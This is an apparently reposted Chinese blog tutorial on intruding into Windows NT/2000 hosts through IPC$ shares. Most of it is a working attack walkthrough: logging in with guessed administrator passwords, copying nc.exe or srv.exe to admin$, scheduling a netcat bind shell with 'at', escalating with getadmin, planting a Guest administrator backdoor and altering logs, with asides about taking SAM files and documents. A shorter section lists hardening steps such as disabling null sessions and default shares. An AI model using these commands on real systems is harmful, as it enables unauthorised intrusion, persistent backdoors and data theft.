IPC

转载 2006年06月24日 11:41:00

IPC入侵全攻略

IPC是Internet Process Connection的缩写,也就是远程网络连接。它是Windows NT及Windows 2000特有的一项功能,特点是在同一时间内,两个IP之间只允许建立一个连接。好了,废话少说,现在进入主题。

如何找到具有IPC漏洞的主机呢?以前我都是组合一个国外的扫描工具(名字我忘了)和KillUSA的LetMeIn,因为很多工作都是手工完成的,所以速度可想而知了。现在因为有了小榕的流光2000,所以找到这样的主机实在是太简单了,具体操作我就不说了,大家可以参考该软件的说明文档。

好了,假设我们已经找到了一台这样的主机,地址是139.223.200.xxx,管理员帐号是Administrator,密码是123456。进入命令行方式,正式开工。需要说明的是,以下操作都是在目标主机没有禁止远程IPC$连接和启动Schedule服务的理想情况下进行的。

F:/>net use //139.223.200.xxx/ipc$ "123456" /user:"Administrator"
命令成功完成。

F:/>copy nc.exe //139.223.200.xxx/admin$
已复制 1 个文件。

F:/>net time //139.223.200.xxx
//139.223.200.xxx 的当前时间是 2000/12/25 上午 10:25
//139.223.200.xxx 的本地时间 (GMT - 07:00) 是 2000/12/25 上午10:35
命令成功完成。

F:/>at //139.223.200.xxx 10:38 nc -l -p 1234 -t -e cmd.exe
新增加了一项作业,其作业 ID = 0

F:/>telnet 139.223.200.xxx 1234

上面的命令很简单,你只要参考一下net,at和nc的用法就可以了。这样,我们就登上了远程的主机。最理想的情况是这样的,但是,也许你会遇到目标主机的Schedule服务没有启动的情况,那么,at命令就不能用了,我们就需要增加以下步骤。

F:/>at //139.223.200.xxx 10:38 nc -l -p 1234 -t -e cmd.exe
服务仍未启动。

F:/>netsvc //139.223.200.xxx schedule /start
Service is running on //139.223.200.xxx

登上远程主机之后,我们可以做什么呢?这要视这个帐号的权限以及该主机的安全策略来决定。如果你的权限不够的话,可以试试下面的步骤。首先在本地执行下面的命令。

F:/>copy getadmin.exe //139.223.200.xxx/admin$
已复制 1 个文件。

F:/>copy gasys.dll //139.223.200.xxx/admin$
已复制 1 个文件。

其次,在远程主机运行下面的命令。

C:/WINNT/system32>getadmin

如果成功的话,你就是这台主机的管理员了,权限够大了吧?:-)

那么,现在我们能做什么呢?改主页?下载SAM数据库?都可以啦!方法有很多,我就不一一说了,具体方法可以参考相关教程。我一般对目标主机上的WORD文档和数据库比较感兴趣,呵呵。。。

其实,如果你在这台机子上面放个木马或者病毒什么的东东,做起事来更容易一些,但是我觉得如果你跟他没什么深仇大恨的话,还是不要这么做了,这样不好。

作完了你要做的事,不要忘了做个后门。

C:/WINNT/system32>net user Guest 30906766
net use Guest 30906766
The command completed successfully.

C:/WINNT/system32>net localgroup administrators Guest /add
net localgroup administrators Guest /add
The command completed successfully.

这是个比较简单的后门,要想做的更好一些,可以象Linux那样,做出一套RootKits来,其实这样的东东目前已经有了,你只要拿来用就可以了。现在搞破坏真是简单多了,那么多的傻瓜工具任你用,哎!要想自保,不学点安全知识怎么行呢?

最后,我们得修理一下日志。虽然Redp0wer告诉我很少管理员会看NT的日志,但是我想修理一下还是有用的。NT的日志在什么地方呢?可以参考XUDI的文章。但是有一点要记住的是,日志只能修改,不能删除,否则就是自己把自己出卖了!:-)这方面的命令行工具也不少,你可以到一些国外的站点去看看。

其实有了这台主机,你还可以做的更多。
 

 

 

不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少)。

  二 什么是ipc$
  
   IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

  利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。

  我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$......)和系统目录winnt或windows(admin$)。

  所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的。

  解惑:
  1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。

  也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)

  2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接

  3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表

  三 建立ipc$连接在hack攻击中的作用

  就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!!

  (基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害吧!)

  不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的:(

  因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接。

  所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在。


四 ipc$与空连接,139,445端口,默认共享的关系

  以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)

  1)ipc$与空连接:

  不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了。

  许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟)。
  
  2)ipc$与139,445端口:

  ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的。

  3)ipc$与默认共享

  默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$......)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)
  
  五 ipc$连接失败的原因
  以下5个原因是比较常见的:
  1)你的系统不是NT或以上操作系统;
  2)对方没有打开ipc$默认共享
  3)对方未开启139或445端口(惑被防火墙屏蔽)
  4)你的命令输入有误(比如缺少了空格等)
  5)用户名或密码错误(空连接当然无所谓了)

  另外,你也可以根据返回的错误号分析原因:
  错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
  错误号51,Windows 无法找到网络路径 : 网络有问题;
  错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
  错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
  错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
  错误号1326,未知的用户名或错误密码 : 原因很明显了;
  错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
  错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
  关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就*大家自己体会和试验了。

  六如何打开目标的IPC$(此段引自相关文章)

  首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法),还是不行的话(比如有防火墙,杀不了)建议放弃。

  七如何防范ipc$入侵

  1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
  首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/LSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)
  2禁止默认共享
  
  1)察看本地共享资源
  运行-cmd-输入net share
  2)删除共享(每次输入一个)
  net share ipc$ /delete
  net share admin$ /delete
  net share c$ /delete
  net share d$ /delete(如果有e,f,......可以继续删除)
  3)停止server服务
  net stop server /y (重新启动后server服务会重新开启)
  4)修改注册表
  运行-regedit
  server版:找到如下主键  [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters]把AutoShareServer(DWORD)的键值改为:00000000。
  pro版:找到如下主键 [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
  如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。
  3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
  控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用
  4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师
  5设置复杂密码,防止通过ipc$穷举密码

  (本教程不定期更新,欲获得最新版本,请登陆官方网站:菜菜鸟社区原创http://ccbirds.yeah.net


八 相关命令

  1)建立空连接:
  net use //IP/ipc$ "" /user:""(一定要注意:这一行命令中包含了3个空格)
  2)建立非空连接:
  net use //IP/ipc$ "用户名" /user:"密码" (同样有3个空格)
  3)映射默认共享:
  net use z: //IP/c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)
  如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: //IP/c$
  4)删除一个ipc$连接
  net use //IP/ipc$ /del
  5)删除共享映射
  net use c: /del 删除映射的c盘,其他盘类推
  net use * /del 删除全部,会有提示要求按y确认

  九 经典入侵模式

  这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)
  1. C:/>net use //127.0.0.1/IPC$ "" /user:"admintitrators"
  这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
  
  2. C:/>copy srv.exe //127.0.0.1/admin$
  先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:/winnt/system32/,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
  
  3. C:/>net time //127.0.0.1
  查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。
  
  4. C:/>at //127.0.0.1 11:05 srv.exe
  用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)
  
  5. C:/>net time //127.0.0.1
  再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。
  
  6. C:/>telnet 127.0.0.1 99
  这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
  虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
  
  7.C:/>copy ntlm.exe //127.0.0.1/admin$
  用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
  
  8. C:/WINNT/system32>ntlm
  输入ntlm启动(这里的C:/WINNT/system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!
  9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)
  为了以防万一,我们再把guest激活加到管理组
  10. C:/>net user guest /active:yes
  将对方的Guest用户激活
  11. C:/>net user guest 1234
  将Guest的密码改为1234,或者你要设定的密码
  12. C:/>net localgroup administrators guest /add
  将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)

 

相关文章推荐

android跨进程通信(IPC):使用AIDL

AIDL的作用     AIDL (Android Interface Definition Language) 是一种IDL 语言,用于生成可以在Android设备上两个进程之间进行进程间通信(in...

Android Messenger IPC

  • 2017年10月31日 11:42
  • 23.06MB
  • 下载

IPC网络摄像机安装说明书

  • 2015年05月31日 13:05
  • 29.36MB
  • 下载

go语言快速入门:IPC之管道通信(8)

熟悉Unix/C编程的应该对IPC也非常的熟悉,多进程之间的通信主要的手段有管道/信号量/共享内存/Socket等,而管道作为父子进程间进行少量数据传递的有效手段也得到了广泛的应用,在这篇文章中我们来...

2002-2006年系统经典利用漏洞:ipc$

  • 2016年01月22日 19:16
  • 10.39MB
  • 下载

细说linux IPC(一):基于socket的进程间通信(上)

【版权声明:尊重原创,转载请保留出处:blog.csdn.net/shallnet 或 .../gentleliu,文章仅供学习交流,请勿用于商业用途】     在一个较大的工程当中,一般都会有多个进...

IPC-PE-740

  • 2015年09月29日 13:59
  • 2.66MB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:IPC
举报原因:
原因补充:

(最多只允许输入30个字)